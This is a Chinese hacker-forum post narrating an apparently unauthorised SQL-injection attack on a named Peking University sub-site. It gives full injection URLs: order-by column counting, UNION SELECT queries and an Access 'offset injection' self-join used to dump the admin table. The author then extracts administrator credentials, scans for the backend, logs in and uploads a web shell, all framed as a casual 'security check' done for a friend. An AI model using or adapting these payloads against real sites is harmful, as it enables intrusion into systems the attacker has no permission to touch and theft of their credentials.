*作者:莫良 来自黑帽安全技术论坛 转载注明原创*/ 0x00 大清早朋友丢来一站要我看,反正蛋疼厉害,就帮帮他呗。一看,哇靠北大分站,上跳板,我们来给他安全检测一番.具体没什么技术含量,高手飘过。 0x01 简单在首页试了几个可能存在注入的链接都失败了,扫扫目录也扫不出个什么东西。就随便进去看看呗,进了一个什么莫斯科大学和北大的联合分院,莫名其妙的来一了一股意念,我觉得这里有搞头,点了一个链接and 1=1;and 1=2,鉴定完毕,存在注入。丢进明小子里看看,发现了通常都会遇见的问题,他字段有点个性,我猜不出来。
猜不出来怎么办呢,那我就手注吧。先用order by来检测字段数。当order by 10的时候返回错误
order by 9返回正常,说明有9个字段。如下图
测试一下union可以不可以使用,我们提交如下语句来测试一下。
http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,2,3,4,5,6,7,8,9 from admin
返回如下
看来可以用union联合查询了。我们接下来看看admin有几个字段。提交如下语句
http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,* from admin
http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,2,* from admin
http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,2,3,* from admin
依次类推,当我提交到union select 1,2,3,4,5,6,* from admin返回正常,说明admin的字段为9-6=3,有3个字段。 0x02 既然知道了admin表字段数,我们来考虑怎么来爆内容呢。这里就是重头戏,我们用偏移表自联来爆吧。 比如有一个表A结构如下
id name pass 字段 1 abc 123 2 efg 456 3 hij 789
自联 select * from (admin as a inner join admin as b on a.id=b.id)
(其中a.id=b.id就是自联条件),将返回以下结果
a.id a.name a.pass b.id b.name b.pass 1 abc 123 1 abc 123 2 efg 456 2 efg 456 3 hij 789 3 hij 789
通过上面的分析,我们可以自联admin表,admin表是3个字段,自联后也就是2*3=6个字段,然后我们在随便加3个字段凑数就变成了9个字段,打乱admin表中的字段的排列顺序,然后再联合查询,这样就大大增加了被爆出用户跟密码的概率来。即使爆不出来,我们也可以用a.id,跟b.id字段进行偏移,有了思路,下一不就是按着思路依葫芦画瓢。构造自联语句爆爆 union select 1,2,3,* from (admin as a inner join admin as b on a.id=b.id)
爆出了密码?呵呵,我们去挂wwwscan扫扫这个目录的后台,成功发现了后台。再提交
http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,username,3,4,5,6,7,8,9 from admin
爆出了管理员账号,如下图
0x03 到这里就差不多了,我登入后台上传了一个shell,具体就不多说了,这里主要讲了关于ACCESS偏移注入的一点东西,其实ACCESS注入的利用空间也是很大的,当知道足够信息以后可以做很多事情。
|